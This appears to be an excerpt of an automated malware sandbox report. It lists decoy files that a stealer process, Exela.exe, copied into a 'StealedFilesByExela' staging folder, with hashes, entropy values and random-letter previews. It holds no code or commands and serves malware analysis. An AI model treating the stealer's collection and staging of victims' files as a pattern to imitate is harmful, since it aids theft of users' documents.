Preview:	HMPPSXQPQVZTKYGXRLZXZQHGCZSWFSMKAZTFZQVPBWYDEIQOYRZBKZROCVLLNDGOXMZATHCHJWBWCKMDMUVOMUCFYNBSIKMCOOAGLUHDSCAREEEQGTRYCAFLTFVCHREFHJJALACUPWFTGZJJVRRQBVOZGXIEUBTJBNHNAXRWAWTUYQZIZWPARDBZBFGZUBQQPINOCLFOLDPTMWQVUUBDSNGDFVMEOTHPNKBOMDPGLFXUXBXHUOTYRPUQTUJPKLUSNTISPNFAHVFBBWEWJQFBJFCDDWUUKCQJNEKMUTJEZKKMXXOCBOVMCGGYTPDYBYYFVGHQJJBCDHYWPXJUJWPNURQCUHPTATLFRAOGUCJWWSBAITHVPDRYRFCTPIWHJVKSAXOIPKHISTBCDZISGIVPPYDJLJWFRNVNCWIOINKYQLAFVLCPSGCZABGNTUVGEDQZGQNDECUBPLLOYUYTHXDNNCAXKLHFZXBBAWBICFREGZBLZZMPWRLUSXUNEXAKLSJETGNCJTTGSNPPSHZUKZDHHYHBBWKJUSIBAKGKHQJINZHCWLBCIIUGTVVLNEZXUBIPUVRAILLENTRJYFNIBHNOUNYAIFQBNUMFUSXNGITFIFZKTSFAQXDYVBIUCIUYJIGJTIJHWTPPRJQVSBHHUXLZRPPJOWJAPSVQQVKLFHKXZRPEJBFXNKVNBCPMLRQGCJINKLLBJVROFAFCDRFCDAMIDEYSZDWNLUMJZXGWKOIKNAYVXPYRZWMBNAAFKFOPCVNGUECOARMDWJVYVUQQAFEGKCYXVVGXPHPEVOMRADTQDTJSHAKHPNNOGUDWBRXDJFEMSJTJUJKHZONBLGDCDDUDTRQKPOFACELSKHFSBPKXKDGWOKSDBAMWLKXEAOOHWVOAQZGZCNSDWOXSHPTFMVMYQXTRNMUPZSFQXOQLPUFJWHWTXXIRMQXDPVAJKHMSCGTFVJKECYILRMHGFBWQKUNTRVZTBJQJAKTSJUIDOLPL

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\LFOPODGVOH.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698393795110914
Encrypted:	false
SSDEEP:	24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
MD5:	7C5655873C22D2522B13B34841F82038
SHA1:	ED733AE5B3E813B97D69E7283AEB8085EFC62B78
SHA-256:	9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
SHA-512:	A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
Malicious:	false
Preview:	LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIMVTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBTHDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\LIJDSFKJZG.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	false
Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\LIJDSFKJZG.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	false
Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\SNIPGPPREP.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701796197804446
Encrypted:	false
SSDEEP:	24:C1U2g6pCwYBq9+pGzEcrz023TZ9iFxwELi:2U2gCCm9drz0wTZsIEe
MD5:	C8350CE91F4E8E8B04269B5F3C6148DA
SHA1:	22D523A327EBAF8616488087E2DCE9DBD857F0CC
SHA-256:	1BE0B3682C4F3A3315465E66A2C7C357BB06225947C526B1B89A39D9D120AFBF
SHA-512:	C4891D35B6E895E4A9F4A785701EFFA4305AE88D09D309865F9312D95C296CB417916D8CBA461099E80F68C5AE5015A1172E60319256A453DE81445660F55806
Malicious:	false
Preview:	SNIPGPPREPVDSXKMBCQXEQRWSYOYKDGHPXSNVTYLWVPMUIXPKXDRFHMINIQBFZTPTVMTSZAWIXFLHCKJNAWKCQYMBHUKFDOIJBXXLUNVNMKEDOTTPPDLIAGSTXKJKMHVVGIGUNGKPTPDUEUVMGZRIBRMBHLZOZZIBTDOCDOASXCIFRVGCSENFOEARIYUEACCMVFPUDRRUHYQQFJBAWDGKHRWDHTGYUXKSSVSTFCVQOQGTKOBOMZZTKVYFLAXTKJMTUDSETBGCOOKYGPLGPNAFICZERONWJHOMIWLGEWSSANDAVRYRUWZSRNZFYKTMSQXLZZGTQKXVQLDKQIHEDADRTKYMYNBVWROSFBYUXYULCESFAKNPBXYOELAWZCZFAPVQWMMNLBQRIPMVDMMWGXGKDJNUJGGGBNSGWEDDLRHGAAWJCYOEMVEHAYXYEHSKMWJPPHERNLXAGENBCUAZODRTUDIOUWNPZSHJGYOVHWQKWRAGGUMLCITTLAJXOXDUPFFLAHWLWPRQRAXSKOBHTXQNNGYHHVLBOEFTHAXTLKUGTNIYSDATIJHBUFTSGQHRXQQGXCBWVJIULNMYSMFYMPXRZOWMHYMZOLIBIYHPQRQJTZOMJZHKRTSWQQVINGIZHWDLNCJKAMKHSMFOTUPQMESXHXMJSAXESVNVSKORQSXVCYCKNZKOFZFUKINTRLLEGXVQTQURFVKWLFRQZVQVBVOEMATWFLXFDJVWCYMPYCSJCUUGUCIPOPIVLEFNZCPNYAWTXOATSTYLECDEFJNQFYGVPQWTJBNAVWKGALRTACLENBODJOQDXMPOYCYEFXOOOOMCQXLRGDBUUVJNQAEBZDSPDLPFIEOXRWSFCHXDUSBTSLEDLCZPOHIMIMQZMHHTMDFUUMKUAMBYNWWRQKDEXPPDWGKCNTWTFNHBMNDQIMVNFYWGALYORHHPUAXLDHMTGOKMMTAOCOVLGFIHZLZFADWMNNCWOLNJDSGFCWVDBYK

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\VWDFPKGDUF.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696835919052288
Encrypted:	false
SSDEEP:	24:Fn9jgzow1W6XZpt5tv2wi/9nymo1rcjQV26NyDmb5HPZ:zjgEw1bpfTi1yfhcUV2by5HPZ
MD5:	197C0DB71198B230CF6568A2AA40C23B
SHA1:	BAE63DD78D567ED9183C0F8D72A191191745C4E5
SHA-256:	6935BFDC854F927C6F05F97AE4865ECAA22F7D10D909725B7D67D87F17FF0F41
SHA-512:	972C7D9B89EBADA01E3C2D21B391AFA317A8B587DE768875B3B7082761E17AF795BF72B49DEE71DC1F5363863EEF3C7E2966E6AE3D2E6F481E373A77163316C7
Malicious:	false
Preview:	VWDFPKGDUFQFRUPAPPQGIIRLBMRJVLIMQXSWPKBCUGCSOYPXVZRYABCFRPGQFBKSRNNBPWCDTZQKOZTHEOXCUIMHAWUSAMNXIIEPWHBTSEWOJOEJUQZAZDGIRHLRLOCXDMGTXDXEJOWMXIFWDAGYCVGTBKYMXDYOTCGCARASSUUCMCNKFTCZOAQXBNILJTUOLCZYYUZFHGWFTCHDXYTZOEGFUAJLGZANLVNEVWHIIIRSURMEOTZWVHRLOGMTVRWICZIENOPRWLNSVHXQMULNZLBRICRJVVBJMJGVHJSCKBXVMICMFJQQTCIUSXRLUSMTSWGCQDGVFRQVIURPCVBLZIFEZKBUZGKUJIZAWRLYVVXWFGKCMRQFIVHFVXBDHBEKOJAILQRRTZPUTWBVRNRLZEMFWWBQUGOQWYUEGPKIVHQJHQHSJWVVENNMOAHFXILPEJPHZOQMAVSUXBQQEJFNFIKFQWEWEPKTIQQETBFSABZAOBVXEBARHKLVLMCAFGXXBLNGBZRJQOGMNGDAODYAVKYTFOYJRZDLZIYWZNRPPVZNHCTKOIHMETIQDHDGBHUSSZDLEXZSKRZLTIUMEADMONDOIPXWOAELAEUEJDZBECSINHBJNAYCCYTMEJUWYDNJDACYHUQIQZZBMKKRCJDQSGEHBSIIWWFOPRPYXHWNRLQFZPXUQSZHWHJGRVRNYZBBQUFKAWZTIDUQSFTJJPUAKBRGABJCNWDXOUPLCRZTCKKHIKTYZOGNWDCTUTSDFJLIDJMCLEXGJRUQRWREGZISCYJSMOFQXYMCGMMJMSQASADRKRHYGUYLIBJAAJOTHXHEVLCQEGGJBJBKULCPBXSIOOIEJPQIXDQHKAQSQMLWOISQZQTMTCLGTEHDXRHOIVIVQGKJJACQWPPTBGGHHKJRRPRENADLUPCMGIERRBDQYQJFUSIHVYGVGSIQZZWUZLCSUBMKCQYKCYTJRNNKEZZWFQMXWYFKKWAXFIFRJZTE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\WSHEJMDVQC.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694142261581685
Encrypted:	false
SSDEEP:	24:f9GDi2EYjkpBrLp83PYbuFr5oKIQppDgX+qrctnWyd3z+g8BHGZ:yEYjkpZYwS/oKIuA+qriTjEBHe
MD5:	E9AA17F314E072EBB015265FB63E77C0
SHA1:	1233B76350B8181FFFC438B62002C02B4AE79000
SHA-256:	F66078FCFEC2D71549136CC8B5B4EE7D33C4994E0A4E3E7C11F5ADCD819D0436
SHA-512:	719E659924CE585E4DD8CEA9BC6B5371AD810999022F874F380F50C7153D3AE97CC934E3173EF06573CAEE6CBC835A668C4D7DC2ADE597B1B0D200FCBAC67DA1
Malicious:	false
Preview:	WSHEJMDVQCWJPIIWMEHEPOBRYLOZOHFMDEEYYASRZPHJZGFNCKWIQSPBUMWBCKDMTEBFINALYAFGJUQXINNGDKSDBFBQLHYZRLLDJYSVNXVIEPIYHZGOTARYUNPFNZVRVVWIOWWFIFWCHVVHXNGKFNRNLVVSOPOMGZCDQUWJFARKTCAVVDPTCPNIDLRGSLNKZTVRAJAILYGDVIAAGIVKXRCRTRZJPKATKZAWRJTPVLTDNBDIRDWCCHBTEVEGYPYDTGSMLUDQXMQCAVHLYMRKPCVHQHMGNCGBZKOUKCCBHQPSIYIJGDVOYJJJRQLDKNVUEXDKCTANSMCHJUBIODALXWUAFPSECIRPCAEPPBACCLXBZAEDKJHLGOICLSKBQEGFCVDQOFKKAJPCTRIXBNPUDXKHSSXTDTQZSFEWHTHKFNJWHOEXGCYSYWIHFSMYJIYEESDQFMESLFQFBUJNXHWFNXIDWEUDMVGFDXPTRRRNPARVUGZAYZRHNTXHZAPBLWMHFSSHMXCYMAGONQNLTCAVPZPCAKJRMGEPDIFETDNSXWPDVMAZGTTCLNRREMVTBLOGKASYOATUDXLJKIYPPDNLZIZMWWFFDVMUFCTZZOFJORNAMGQBAFGCPTDCZBKTIGYDSCSPMIEXAMGICZNTFVNRPLGPMBXJHNCQSYNMGGPKIQJNDBDUBVIVXFILKXZXHODXZAYIDEIMZZMKQNQNBCCMZNFBKSYULDGKOMQZDUQMUVTBBTUTRZMIOZGDEUPHCDKJQDSGBXYNWPWTHYVLGGYNOBJJKAZSTKJSBCHVCLGWYHCNILYSCYCHTGYOGMNGWDZAVDCOVKWJPWVNTTKFTSHAAXLYUEWEVGETFCFTLKWTQCVAMBWYOYJVXNPSSWXJXUZDXJOZNTBLIZLLJQXYNILILMHHONBPAPFMVWEMHIHAGMOXTIBNNEBGCVSZEZTMJVDXSVACSKTAVTFOOSEHZQGTOUSCIQBVIWZGABQNZGJE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\WSHEJMDVQC.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694142261581685
Encrypted:	false
SSDEEP:	24:f9GDi2EYjkpBrLp83PYbuFr5oKIQppDgX+qrctnWyd3z+g8BHGZ:yEYjkpZYwS/oKIuA+qriTjEBHe
MD5:	E9AA17F314E072EBB015265FB63E77C0
SHA1:	1233B76350B8181FFFC438B62002C02B4AE79000
SHA-256:	F66078FCFEC2D71549136CC8B5B4EE7D33C4994E0A4E3E7C11F5ADCD819D0436
SHA-512:	719E659924CE585E4DD8CEA9BC6B5371AD810999022F874F380F50C7153D3AE97CC934E3173EF06573CAEE6CBC835A668C4D7DC2ADE597B1B0D200FCBAC67DA1
Malicious:	false
Preview:	WSHEJMDVQCWJPIIWMEHEPOBRYLOZOHFMDEEYYASRZPHJZGFNCKWIQSPBUMWBCKDMTEBFINALYAFGJUQXINNGDKSDBFBQLHYZRLLDJYSVNXVIEPIYHZGOTARYUNPFNZVRVVWIOWWFIFWCHVVHXNGKFNRNLVVSOPOMGZCDQUWJFARKTCAVVDPTCPNIDLRGSLNKZTVRAJAILYGDVIAAGIVKXRCRTRZJPKATKZAWRJTPVLTDNBDIRDWCCHBTEVEGYPYDTGSMLUDQXMQCAVHLYMRKPCVHQHMGNCGBZKOUKCCBHQPSIYIJGDVOYJJJRQLDKNVUEXDKCTANSMCHJUBIODALXWUAFPSECIRPCAEPPBACCLXBZAEDKJHLGOICLSKBQEGFCVDQOFKKAJPCTRIXBNPUDXKHSSXTDTQZSFEWHTHKFNJWHOEXGCYSYWIHFSMYJIYEESDQFMESLFQFBUJNXHWFNXIDWEUDMVGFDXPTRRRNPARVUGZAYZRHNTXHZAPBLWMHFSSHMXCYMAGONQNLTCAVPZPCAKJRMGEPDIFETDNSXWPDVMAZGTTCLNRREMVTBLOGKASYOATUDXLJKIYPPDNLZIZMWWFFDVMUFCTZZOFJORNAMGQBAFGCPTDCZBKTIGYDSCSPMIEXAMGICZNTFVNRPLGPMBXJHNCQSYNMGGPKIQJNDBDUBVIVXFILKXZXHODXZAYIDEIMZZMKQNQNBCCMZNFBKSYULDGKOMQZDUQMUVTBBTUTRZMIOZGDEUPHCDKJQDSGBXYNWPWTHYVLGGYNOBJJKAZSTKJSBCHVCLGWYHCNILYSCYCHTGYOGMNGWDZAVDCOVKWJPWVNTTKFTSHAAXLYUEWEVGETFCFTLKWTQCVAMBWYOYJVXNPSSWXJXUZDXJOZNTBLIZLLJQXYNILILMHHONBPAPFMVWEMHIHAGMOXTIBNNEBGCVSZEZTMJVDXSVACSKTAVTFOOSEHZQGTOUSCIQBVIWZGABQNZGJE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\LFOPODGVOH\AQRFEVRTGL.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.691266297898928
Encrypted:	false
SSDEEP:	24:VFl0HyrVqOHKWeRhsGhMtSCTPacJ7pZeZLF8M7y+b:VFl0HyrVqOqNRhHkTaW73Q58yy+b
MD5:	7D4E714F4EDA4631DCA8D420338392F1
SHA1:	536B4BCBAB5C780738EE2D562D16AB532C9D8E68
SHA-256:	841F74A72A1D21F63E4039906E93A4FD9E70EC517385DDEE855033A9A17FE94A
SHA-512:	FEB2EEC88720FF040794CD273A7B4A07DD5AC1E6CD9A9235A098F1FB3A1C50385B37E376764C927978961A0EE4AC1C591F197494D82D71B35EAA3780956CB1A3
Malicious:	false
Preview:	AQRFEVRTGLRPNVUMAMHTYETEVGDENHEHZDAQRXZQCDHHLTUZIEJRCQGGPRQWBIYWADWJEZTAELERKZUDZJHSFVIUPBTJVGKYQFWVMPTQUZUZZSOJNBOABYGRCYMPSQARVQUZQVCNVECXPCBIEBYWXWSRMTKFKBEHRJGIPFMOYSZMEELAQPGBHDTUPVXJROQBNFXLTFTPQHVAGKBRLNHZRZVUTEGANMGKVRFJJNOMKLVMQNTHIORPQCPGNIZSOYKXAQJCOPIGBQRJINVPIRVOHHCOGWQPXWQEGDKAHJASRIJBIMZDOWPSCSZZQNZFPNLCIRCXKLGBVXKUJASQXRHFULXFGHARZKMVRSMXPJPUDKEQXOSCEBAKVRLNKSSEVKXVMESKRHMKSXSUKELGCEYTRDUXROEARVKPGFZHNSDRPAQVQVSCJPHBVIRZPYJKRBBZNOUQWXJMMJNDFWGGJPGQMMWRHVVMGZTXMHGJMPQFKEKIAULKOFHNCPDGWVUWIVKGZHFAQVQOBPOUZZTMTUXLURTPHPWRVYABSKGEOJTHCTJYEQSHAVPELOSNLRXFRVWMHJRZTZLGKGNKELBIANUAYANWKNNJPQUXDOBXLYTGIGYZMXXBSVTKCOWSZHFODTFONXVLBRUGJKEZMTIRWSGAANCFOWQHTMLCODGMRHITYHVPOCCXAYGLOXHITQDUATUBKLPLHFHTHTEONDGTWZOQVYRUABLZCNSDXFSTUTQJACVNWWCLMGVDGIDXECYLUJKBUKWQQUERSQSLBAKCXGRYMXSMUPSLSRDICMSQOGBWCATEAACXPGZFMXCSVNIZUQRAQEWTFWYKNKMGGMAZDJHXXORIHLHSPMGKAWZUQOKTRGEGDEPETKDTOVQKFNIASUNQNVNPECXIFOSOXOYCRVRJAKLVRMRCMTVZUHFLJPYFXCUSTATJHRIINTHARIAPEKFSUPRLIGJHIMRLJERLFFTZAQPSMLNNQSZLYNDGBIYC

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\LFOPODGVOH\HMPPSXQPQV.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698711683401115
Encrypted:	false
SSDEEP:	24:qKHpKPokvebe5xXL3g76mBU/gS2JBbl20IS7pnXk:Rpcjnxbw7TYgS2nbzIS7pnXk
MD5:	47643CE7571E0C995094D7CE5F2005D7
SHA1:	40D42828B2F68C625EBD884FB8AF5B20F5A1DF9C
SHA-256:	1D642D4EC7BC821B0FFA28C3F2702C875C922139D8001EADD664EBCCF8D321B3
SHA-512:	3AAD0470C01D2609662C0B8D146BA79132B404C669C22032D085233E2D30725797AC2E15A11F54DFE00E4B6CA6E914E3439D4775B3AF6D782334FE9424F485A5
Malicious:	false
Preview:	HMPPSXQPQVZTKYGXRLZXZQHGCZSWFSMKAZTFZQVPBWYDEIQOYRZBKZROCVLLNDGOXMZATHCHJWBWCKMDMUVOMUCFYNBSIKMCOOAGLUHDSCAREEEQGTRYCAFLTFVCHREFHJJALACUPWFTGZJJVRRQBVOZGXIEUBTJBNHNAXRWAWTUYQZIZWPARDBZBFGZUBQQPINOCLFOLDPTMWQVUUBDSNGDFVMEOTHPNKBOMDPGLFXUXBXHUOTYRPUQTUJPKLUSNTISPNFAHVFBBWEWJQFBJFCDDWUUKCQJNEKMUTJEZKKMXXOCBOVMCGGYTPDYBYYFVGHQJJBCDHYWPXJUJWPNURQCUHPTATLFRAOGUCJWWSBAITHVPDRYRFCTPIWHJVKSAXOIPKHISTBCDZISGIVPPYDJLJWFRNVNCWIOINKYQLAFVLCPSGCZABGNTUVGEDQZGQNDECUBPLLOYUYTHXDNNCAXKLHFZXBBAWBICFREGZBLZZMPWRLUSXUNEXAKLSJETGNCJTTGSNPPSHZUKZDHHYHBBWKJUSIBAKGKHQJINZHCWLBCIIUGTVVLNEZXUBIPUVRAILLENTRJYFNIBHNOUNYAIFQBNUMFUSXNGITFIFZKTSFAQXDYVBIUCIUYJIGJTIJHWTPPRJQVSBHHUXLZRPPJOWJAPSVQQVKLFHKXZRPEJBFXNKVNBCPMLRQGCJINKLLBJVROFAFCDRFCDAMIDEYSZDWNLUMJZXGWKOIKNAYVXPYRZWMBNAAFKFOPCVNGUECOARMDWJVYVUQQAFEGKCYXVVGXPHPEVOMRADTQDTJSHAKHPNNOGUDWBRXDJFEMSJTJUJKHZONBLGDCDDUDTRQKPOFACELSKHFSBPKXKDGWOKSDBAMWLKXEAOOHWVOAQZGZCNSDWOXSHPTFMVMYQXTRNMUPZSFQXOQLPUFJWHWTXXIRMQXDPVAJKHMSCGTFVJKECYILRMHGFBWQKUNTRVZTBJQJAKTSJUIDOLPL

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\LFOPODGVOH\LFOPODGVOH.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698393795110914
Encrypted:	false
SSDEEP:	24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
MD5:	7C5655873C22D2522B13B34841F82038
SHA1:	ED733AE5B3E813B97D69E7283AEB8085EFC62B78
SHA-256:	9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
SHA-512:	A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
Malicious:	false
Preview:	LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIM